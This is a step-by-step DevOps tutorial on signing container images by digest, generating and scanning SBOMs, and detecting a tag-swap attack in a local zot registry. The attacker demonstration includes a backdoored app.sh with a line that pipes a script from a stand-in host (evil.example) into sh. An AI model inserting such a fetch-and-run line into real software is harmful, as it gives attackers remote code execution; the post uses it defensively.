In my previous post, I took a container image apart with curl. One thing from it stayed with me: a tag is just a name for a manifest digest, and anyone who can push can move it to another image.
Think about what this means for a deployment. It pulls shop:1.0 and runs whatever the tag points to right now. If someone with a push token builds their own shop:1.0 and pushes it over ours, nothing looks different. The same name, the same tag, the same log line on start-up.
So before an image runs, I want answers to two questions:
- What is inside it, and is any of that known to be vulnerable?
- Is this really the image that we built?
The first question is answered by an SBOM (a software bill of materials, the list of every package in the image) and a scanner. The second one by a signature over the image’s digest.
In this article, I do both step by step, with a local registry and no cloud services. Then I play the attacker: I push a backdoored image under our tag and see what catches it.
The tools
| Tool | Version | What it does here |
|---|---|---|
| zot | 2.1.21 | the registry, the same as in the previous post |
| podman | 5.8.7 | builds and pushes the images |
| syft | 1.52.0 | reads the image from the registry and writes the SBOM |
| grype | 0.119.0 | scans the SBOM against its vulnerability database |
| cosign | 3.1.3 | signs the digest and the SBOM, and verifies them |
| crane | 0.22.1 | a small registry client: lists tags, looks up a digest |
All of them are single binaries, so I installed them with mise, like zot last time:
# mise.toml
[tools]
syft = "1.52.0"
grype = "0.119.0"
cosign = "3.1.3"
crane = "0.22.1"
"github:project-zot/zot" = { version = "2.1.21", asset_pattern = "zot-linux-amd64", bin = "zot" }
mise trust
mise install
grype downloads its vulnerability database on the first run. It’s about 3 GB unpacked, so the first scan takes a few minutes.
Step by step
My prompt shows the current directory: registry (where zot lives), shop (our project) and, later, attacker. The image digests are the same on every run here, because the build is reproducible. On your machine, they can still be different, for example with another podman version. Keys and signatures are random by nature, so your keys and signature digests will be different from mine.
Step 1: A local registry
demo $ mkdir registry
demo $ cd registry
registry $ vim zot.json
1 {
2 "storage": { "rootDirectory": "./data" },
3 "http": { "address": "127.0.0.1", "port": "5000" }
4 }
"zot.json" [New] 4L, 101B writtenzot needs only a directory for its storage and an address.
registry $ zot serve zot.json > zot.log 2>&1 &
registry $ curl -s localhost:5000/v2/_catalog | jq .
{
"repositories": []
}I start it in the background and write its log to a file. The catalog is empty for now.
Step 2: A tiny app and its Dockerfile
registry $ cd ..
demo $ mkdir shop
demo $ cd shop
shop $ vim app.sh
1 #!/bin/sh
2 echo "shop 1.0: serving orders on :8080"
"app.sh" [New] 2L, 51B written
shop $ chmod +x app.shThe app is a one-line shell script.
shop $ vim Dockerfile
1 FROM docker.io/library/alpine:3.24.1
2 COPY app.sh /app.sh
3 CMD ["/app.sh"]
"Dockerfile" [New] 3L, 73B written
shop $ ls
Dockerfile app.shIt runs on top of alpine 3.24.1. This is not the newest alpine release, and it will matter soon.
Step 3: Build the image and push it
shop $ podman build --timestamp 1767225600 -t localhost:5000/shop:1.0 .
STEP 1/3: FROM docker.io/library/alpine:3.24.1
STEP 2/3: COPY app.sh /app.sh
--> cbdcf0ac90d0
STEP 3/3: CMD ["/app.sh"]
COMMIT localhost:5000/shop:1.0
--> 6ec82194519d
Successfully tagged localhost:5000/shop:1.0
6ec82194519d6043b1d81df88baadc6ee6802597994ce310758ddb16a0f2cceb--timestamp fixes the creation date and the file dates in the new layers (here, 2026-01-01). Without it, every build gets a new date, and so a new digest. With it, the same sources always give the same image. We will need this at the very end.
shop $ podman push --tls-verify=false localhost:5000/shop:1.0
Getting image source signatures
Copying blob 34884abbe928 done |
Copying blob 821e494ea192 done |
Copying config 6ec8219451 done |
Writing manifest to image destination
shop $ crane ls localhost:5000/shop
1.0
shop $ podman run --rm localhost:5000/shop:1.0
shop 1.0: serving orders on :8080Our zot speaks plain HTTP, so podman needs --tls-verify=false. The tag is in the registry, and the app runs.
Step 4: An SBOM with syft
shop $ syft registry:localhost:5000/shop:1.0 -o table -o spdx-json=sbom.spdx.json
✔ Parsed image sha256:6ec82194519d6043b1d81df88baadc6ee6802597994ce3
✔ Cataloged contents 07d00abec8d4f8b5c4e6e393b569fd5c839785ac87f7dbaf654f8
├── ✔ Packages [16 packages]
├── ✔ Executables [17 executables]
├── ✔ File digests [79 files]
NAME VERSION TYPE
alpine-baselayout 3.7.2-r1 apk
alpine-baselayout-data 3.7.2-r1 apk
alpine-keys 2.6-r0 apk
alpine-release 3.24.1-r0 apk
apk-tools 3.0.6-r0 apk
busybox 1.37.0-r31 apk
busybox-binsh 1.37.0-r31 apk
ca-certificates-bundle 20260611-r0 apk
libapk 3.0.6-r0 apk
libcrypto3 3.5.7-r0 apk
libssl3 3.5.7-r0 apk
musl 1.2.6-r2 apk
musl-utils 1.2.6-r2 apk
scanelf 1.3.9-r1 apk
ssl_client 1.37.0-r31 apk
zlib 1.3.2-r0 apk
shop $ ls
Dockerfile app.sh sbom.spdx.jsonWith the registry: prefix, syft reads the image straight from zot, without a pull. One run prints the table and writes the SBOM in SPDX JSON format to sbom.spdx.json. 16 packages, and two of them are openssl: libcrypto3 and libssl3 3.5.7-r0.
Step 5: Scan the SBOM with grype
shop $ grype sbom:sbom.spdx.json --only-fixed --fail-on high
✘ Scan for vulnerabilities [20 vulnerability matches]
├── by severity: 4 critical, 15 high, 5 medium, 0 low, 0 negligible
└── by status: 20 fixed, 4 not-fixed, 4 ignored
NAME INSTALLED FIXED IN TYPE VULNERABILITY SEVERITY EPSS RISK
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63076 High 1.8% (77th) 1.4
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63076 High 1.8% (77th) 1.4
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-18798 High 1.5% (73rd) 1.2
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-18798 High 1.5% (73rd) 1.2
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63073 Critical 1.2% (65th) 1.1
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63073 Critical 1.2% (65th) 1.1
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-54874 High 1.3% (69th) 1.0
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-54874 High 1.3% (69th) 1.0
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-14457 High 1.0% (62nd) 0.8
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-14457 High 1.0% (62nd) 0.8
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63072 High 1.0% (61st) 0.8
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63072 High 1.0% (61st) 0.8
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63075 High 0.8% (54th) 0.6
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63075 High 0.8% (54th) 0.6
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-14456 High 0.7% (52nd) 0.5
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-14456 High 0.7% (52nd) 0.5
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63074 Medium 0.6% (44th) 0.3
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-63074 Medium 0.6% (44th) 0.3
libcrypto3 3.5.7-r0 3.5.8-r0 apk CVE-2026-75803 Critical 0.2% (11th) 0.2
libssl3 3.5.7-r0 3.5.8-r0 apk CVE-2026-75803 Critical 0.2% (11th) 0.2
[0001] ERROR discovered vulnerabilities at or above the severity thresholdgrype matches every package in the SBOM against its database. It reads the file, so it doesn’t pull the image again. --only-fixed shows only the vulnerabilities that already have a fixed version, the ones an update can remove. --fail-on high makes grype exit with code 2 if anything is rated High or Critical, and this fails a CI job. Here, all 20 rows are openssl, and all are fixed in 3.5.8-r0. The counts in the summary also include four matches without a fix, which --only-fixed hides (4 ignored).
Step 6: Fix it: alpine 3.24.2
shop $ vim Dockerfile
1 FROM docker.io/library/alpine:3.24.2
2 COPY app.sh /app.sh
3 CMD ["/app.sh"]
"Dockerfile" 3L, 73B writtenalpine 3.24.2 ships openssl 3.5.8-r0. One character changes in the Dockerfile.
shop $ podman build --timestamp 1767225600 -t localhost:5000/shop:1.0 .
STEP 1/3: FROM docker.io/library/alpine:3.24.2
STEP 2/3: COPY app.sh /app.sh
--> 9719548c656c
STEP 3/3: CMD ["/app.sh"]
COMMIT localhost:5000/shop:1.0
--> c1736a804d79
Successfully tagged localhost:5000/shop:1.0
c1736a804d790094e30881896bbc88a013d362a06e9f9108f01ec9b3b774e041
shop $ podman push --tls-verify=false localhost:5000/shop:1.0
Getting image source signatures
Copying blob 74d97c428c51 done |
Copying blob 0c2a525b4b84 skipped: already exists
Copying config c1736a804d done |
Writing manifest to image destinationI rebuild and push under the same tag. Our app layer hasn’t changed, and zot already has it (skipped: already exists).
Step 7: A new SBOM and a clean scan
shop $ syft registry:localhost:5000/shop:1.0 -o spdx-json=sbom.spdx.json
✔ Parsed image sha256:c1736a804d790094e30881896bbc88a013d362a06e9f91
✔ Cataloged contents cdea4d75b699a50c37620a2550e98e1aef2abda400a73f1cf4bbd
├── ✔ Packages [16 packages]
├── ✔ File digests [79 files]
├── ✔ Executables [17 executables]
shop $ grype sbom:sbom.spdx.json --only-fixed --fail-on high
✔ Scanned for vulnerabilities [0 vulnerability matches]
├── by severity: 0 critical, 1 high, 3 medium, 0 low, 0 negligible
└── by status: 0 fixed, 4 not-fixed, 4 ignored
No vulnerabilities foundA new SBOM for the new image, and the same gate passes: No vulnerabilities found.
shop $ grype sbom:sbom.spdx.json
✔ Scanned for vulnerabilities [4 vulnerability matches]
├── by severity: 0 critical, 1 high, 3 medium, 0 low, 0 negligible
└── by status: 0 fixed, 4 not-fixed, 0 ignored
NAME INSTALLED TYPE VULNERABILITY SEVERITY EPSS RISK
zlib 1.3.2-r0 apk CVE-2026-85091 High 0.6% (46th) 0.5
busybox 1.37.0-r31 apk CVE-2025-60876 Medium 0.3% (19th) 0.2
busybox-binsh 1.37.0-r31 apk CVE-2025-60876 Medium 0.3% (19th) 0.2
ssl_client 1.37.0-r31 apk CVE-2025-60876 Medium 0.3% (19th) 0.2Without --only-fixed, grype shows four more: one in zlib and one in busybox, which hits three packages. Nobody has fixed them yet, so the FIXED IN column is gone. This is why I use --only-fixed for the gate: fail on what you can fix today, and keep an eye on the rest.
Step 8: A key pair for signing
shop $ export COSIGN_PASSWORD='correct horse battery staple'
shop $ cosign generate-key-pair
Private key written to cosign.key
Public key written to cosign.pub
shop $ head -1 cosign.key
-----BEGIN ENCRYPTED SIGSTORE PRIVATE KEY-----
shop $ cat cosign.pub
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEWcxvp1O/WVCwH3MG0+GoIFvSZy/O
2sHTO3rq/FFIZOy5D+j7XhlL8cAHHKuyLwvy+i+UbkS3d/K0q1TjqodWKw==
-----END PUBLIC KEY-----cosign keeps the private key encrypted with a password. It asks for the password, or reads it from COSIGN_PASSWORD, which is how CI passes it. cosign.pub goes to whoever deploys the image, and cosign.key stays secret.
Step 9: Sign the image by digest, without a public log
This part surprised me. By default, cosign 3 sends every signature to Sigstore’s public transparency log, Rekor, and gets a timestamp from Sigstore’s timestamp authority. So a record of each signature, with the public key, ends up in a public log that nobody can delete from. That’s the point for open source, but it’s not what I want for a private registry.
shop $ cosign signing-config create --out offline.json
shop $ jq . offline.json
{
"mediaType": "application/vnd.dev.sigstore.signingconfig.v0.2+json",
"rekorTlogConfig": {},
"tsaConfig": {}
}A signing config without any services keeps everything local. cosign signing-config create without flags writes exactly that.
shop $ DIGEST=$(crane digest localhost:5000/shop:1.0)
shop $ echo $DIGEST
sha256:cdea4d75b699a50c37620a2550e98e1aef2abda400a73f1cf4bbdea91abbde71
shop $ cosign sign --key cosign.key --signing-config offline.json \
> localhost:5000/shop@$DIGEST
Pushing signature to: localhost:5000/shopI sign the digest, not the tag. A tag can move to another image, a digest can’t. (cosign 3.1.3 still accepts a tag, with a warning that this will be removed in a future release.)
Step 10: Verify the signature
shop $ cosign verify --key cosign.pub --insecure-ignore-tlog=true \
> localhost:5000/shop:1.0 | jq .
WARNING: Skipping tlog verification is an insecure practice that lacks transparency and auditability verification for the signature.
Verification for localhost:5000/shop:1.0 --
The following checks were performed on each of these signatures:
- The cosign claims were validated
- Existence of the claims in the transparency log was verified offline
- The signatures were verified against the specified public key
[
{
"critical": {
"identity": {
"docker-reference": "localhost:5000/shop:1.0"
},
"image": {
"docker-manifest-digest": "sha256:cdea4d75b699a50c37620a2550e98e1aef2abda400a73f1cf4bbdea91abbde71"
},
"type": "https://sigstore.dev/cosign/sign/v1"
},
"optional": {}
}
]Verifying needs only the public key. --insecure-ignore-tlog=true tells cosign that there is no transparency log to check. Without it, cosign insists on a log entry, and an offline signature doesn’t have one. The payload names our digest, so the signature is valid for exactly one image.
Step 11: Attach the SBOM as a signed attestation
shop $ cosign attest --key cosign.key --signing-config offline.json \
> --type spdxjson --predicate sbom.spdx.json localhost:5000/shop@$DIGEST
Using payload from: sbom.spdx.json
shop $ cosign tree localhost:5000/shop@$DIGEST
📦 Supply Chain Security Related artifacts for an image: localhost:5000/shop@sha256:cdea4d75b699a50c37620a2550e98e1aef2abda400a73f1cf4bbdea91abbde71
└── 🔗 https://sigstore.dev/cosign/sign/v1 artifacts via OCI referrer: localhost:5000/shop@sha256:31aa107d391f0f0070a221e74de8a320531a446ec0c85c487862dd5cb27a13f9
└── 🍒 sha256:ab890acddbbeeefb8a92f43691f5c7a49baa2c60996214db68ee9ac0db18e29c
└── 🔗 https://spdx.dev/Document artifacts via OCI referrer: localhost:5000/shop@sha256:0a5e024dc0bddb926a20b5f051e422ff8bfab7214ea8bbc6321798e2f9977e0f
└── 🍒 sha256:00ae1c8a65bc715887fc24747f96a4701d2108b7ffa3020f0297225ad9a45636The SBOM goes next to the image as an attestation: a statement signed with the same key. cosign tree shows both, the signature and the SBOM, linked to our digest.
shop $ curl -s localhost:5000/v2/shop/referrers/$DIGEST \
> | jq -r '.manifests[].annotations."dev.sigstore.bundle.predicateType"'
https://sigstore.dev/cosign/sign/v1
https://spdx.dev/Document
shop $ crane ls localhost:5000/shop
1.0zot keeps them with the OCI 1.1 referrers API: GET /v2/<repo>/referrers/<digest> lists everything attached to a digest. And there’s still only one tag. The older signature format (still in cosign 3, behind the deprecated --new-bundle-format=false) stored each signature under an extra sha256-<digest>.sig tag.
Step 12: Re-scan later, from the signed SBOM
shop $ cosign verify-attestation --key cosign.pub --insecure-ignore-tlog=true \
> --type spdxjson localhost:5000/shop@$DIGEST \
> | jq -r .payload | base64 -d | jq .predicate > verified-sbom.json
WARNING: Skipping tlog verification is an insecure practice that lacks transparency and auditability verification for the attestation.
Verification for localhost:5000/shop@sha256:cdea4d75b699a50c37620a2550e98e1aef2abda400a73f1cf4bbdea91abbde71 --
The following checks were performed on each of these signatures:
- The cosign claims were validated
- Existence of the claims in the transparency log was verified offline
- The signatures were verified against the specified public key
shop $ grype sbom:verified-sbom.json --only-fixed --fail-on high
✔ Scanned for vulnerabilities [0 vulnerability matches]
├── by severity: 0 critical, 1 high, 3 medium, 0 low, 0 negligible
└── by status: 0 fixed, 4 not-fixed, 4 ignored
No vulnerabilities foundNew CVEs appear every day. With a signed SBOM in the registry, I can scan the image again any day, with that day’s database, without pulling or rebuilding it. First I check the attestation and take the SBOM out of it, then I scan what it contains.
Step 13: Enter the attacker
Now the bad part. Someone got a token that can push to zot, but not our private key.
shop $ mkdir ../attacker
shop $ cd ../attacker
attacker $ vim app.sh
1 #!/bin/sh
2 echo "shop 1.0: serving orders on :8080"
3 wget -qO- http://evil.example/x.sh | sh
"app.sh" [New] 3L, 91B written
attacker $ chmod +x app.shThe attacker’s app.sh prints the same greeting, and then downloads and runs a script.
attacker $ vim Dockerfile
1 FROM localhost:5000/shop:1.0
2 COPY app.sh /app.sh
"Dockerfile" [New] 2L, 49B written
attacker $ podman build --timestamp 1767225600 -t localhost:5000/shop:1.0 .
STEP 1/2: FROM localhost:5000/shop:1.0
STEP 2/2: COPY app.sh /app.sh
COMMIT localhost:5000/shop:1.0
--> 662baaf78ed0
Successfully tagged localhost:5000/shop:1.0
662baaf78ed0a945a60d71857e36bf4ca6c1bec27796f685288a89d9ba3e6e43Their image is built on top of ours, with the same build command, so even the creation date matches.
Step 14: Push it over our tag
attacker $ podman push --tls-verify=false localhost:5000/shop:1.0
Getting image source signatures
Copying blob 4fdc56a1d49f skipped: already exists
Copying blob 0c2a525b4b84 skipped: already exists
Copying blob 7b0cdd3947be done |
Copying config 662baaf78e done |
Writing manifest to image destination
attacker $ crane digest localhost:5000/shop:1.0
sha256:74b5377b7d0eaa59e382de9c30984f96304fc85f437d72bd588921fbb66d2803
attacker $ echo $DIGEST
sha256:cdea4d75b699a50c37620a2550e98e1aef2abda400a73f1cf4bbdea91abbde71The same name and the same tag. Only the digest is different from the one we signed.
attacker $ podman run --rm --network none localhost:5000/shop:1.0
shop 1.0: serving orders on :8080
wget: bad address 'evil.example'And the same greeting. The backdoor runs right after it. --network none keeps it from reaching anything, so here it fails with bad address.
Step 15: Verify before deploying
attacker $ cd ../shop
shop $ cosign verify --key cosign.pub --insecure-ignore-tlog=true localhost:5000/shop:1.0
WARNING: Skipping tlog verification is an insecure practice that lacks transparency and auditability verification for the signature.
Error: no signatures found
error during command execution: no signatures foundThis is the check a deployment should run before it starts an image. cosign finds no signature for the new digest and refuses, with exit code 10.
shop $ cosign tree localhost:5000/shop:1.0
📦 Supply Chain Security Related artifacts for an image: localhost:5000/shop:1.0
No Supply Chain Security Related Artifacts found for image localhost:5000/shop:1.0,
start creating one with simply running$ cosign sign <img>
shop $ curl -sI localhost:5000/v2/shop/manifests/$DIGEST | head -1
HTTP/1.1 404 Not FoundNothing is attached to the new image. And where is our signed image? zot dropped it when the tag moved away from it: with its default config, zot removes a manifest that no tag points to. The signature and the SBOM are still stored, but a pull by digest fails now. So a deployment pinned to shop@sha256:cdea4d75… would fail to pull, instead of running the backdoor.
Step 16: The attacker signs it too
shop $ cd ../attacker
attacker $ cosign generate-key-pair --output-key-prefix attacker
Private key written to attacker.key
Public key written to attacker.pub
attacker $ cosign signing-config create --out offline.json
attacker $ cosign sign --key attacker.key --signing-config offline.json \
> localhost:5000/shop@$(crane digest localhost:5000/shop:1.0)
Pushing signature to: localhost:5000/shopThe attacker can sign too, just not with our key.
attacker $ cd ../shop
shop $ cosign tree localhost:5000/shop:1.0
📦 Supply Chain Security Related artifacts for an image: localhost:5000/shop:1.0
└── 🔗 https://sigstore.dev/cosign/sign/v1 artifacts via OCI referrer: localhost:5000/shop@sha256:a829fab2658e260745ba40f43c7c0d86313e9e55db0e9ffcc0f953df9da0d151
└── 🍒 sha256:5757f56586bf3ec1f2cbf6f7ee13617aa352bc97ea8fa2357e8f6331f1d5ec8d
shop $ cosign verify --key cosign.pub --insecure-ignore-tlog=true localhost:5000/shop:1.0
WARNING: Skipping tlog verification is an insecure practice that lacks transparency and auditability verification for the signature.
Error: no matching attestations: failed to verify signature: could not verify envelope: accepted signatures do not match threshold, Found: 0, Expected 1
error during command execution: no matching attestations: failed to verify signature: could not verify envelope: accepted signatures do not match threshold, Found: 0, Expected 1Now there is a signature, but not one that cosign.pub accepts: found 0 of the 1 required, and exit code 1. The error says “attestations” because cosign 3 stores signatures as attestations too.
Step 17: Recover: rebuild, same digest
shop $ podman build -q --timestamp 1767225600 -t localhost:5000/shop:1.0 .
c1736a804d790094e30881896bbc88a013d362a06e9f9108f01ec9b3b774e041
shop $ podman push -q --tls-verify=false localhost:5000/shop:1.0
shop $ crane digest localhost:5000/shop:1.0
sha256:cdea4d75b699a50c37620a2550e98e1aef2abda400a73f1cf4bbdea91abbde71Our build is reproducible, so a rebuild from our sources gives the very image we signed: the same digest cdea4d75…. Pushing it moves the tag back.
shop $ cosign verify --key cosign.pub --insecure-ignore-tlog=true \
> localhost:5000/shop:1.0 > /dev/null
WARNING: Skipping tlog verification is an insecure practice that lacks transparency and auditability verification for the signature.
Verification for localhost:5000/shop:1.0 --
The following checks were performed on each of these signatures:
- The cosign claims were validated
- Existence of the claims in the transparency log was verified offline
- The signatures were verified against the specified public keyThe signature and the SBOM never left zot, so verification passes again at once.
What to remember
- A tag can move to another image. Sign by digest, and deploy by digest.
- syft writes the SBOM, and grype scans it.
--only-fixed --fail-on highmakes a good CI gate. - cosign 3 sends signatures to the public Rekor log by default. For a private registry, sign with a signing config without services (
cosign signing-config create), and verify with--insecure-ignore-tlog=true. - Keep the SBOM next to the image as a signed attestation, and scan it again later.
no signatures found(exit code 10): nothing is signed for this digest.no matching attestations(exit code 1): something is signed, but not with your key.- zot removes an untagged manifest right away. Its signatures and attestations stay.
- A reproducible build (
--timestamp) gives you back the exact digest that you signed. - grype’s database changes every day, so your scan results will be different from mine.
I post practical DevOps and SRE notes, new tool features and small tricks in my Telegram channel DevOps & SRE notes.
Conclusion
In summary, a tag is only a name, and the image behind it can change without any sign. An SBOM and a scan tell you what is inside and what to update. A signature over the digest tells you that this is the image you built. None of this needs a public service: zot, a key pair and a signing config without services are enough. And when someone swapped our image, the check failed loudly, and a reproducible build gave us the exact image back.
Links: zot · syft · grype · cosign · OCI distribution spec: listing referrers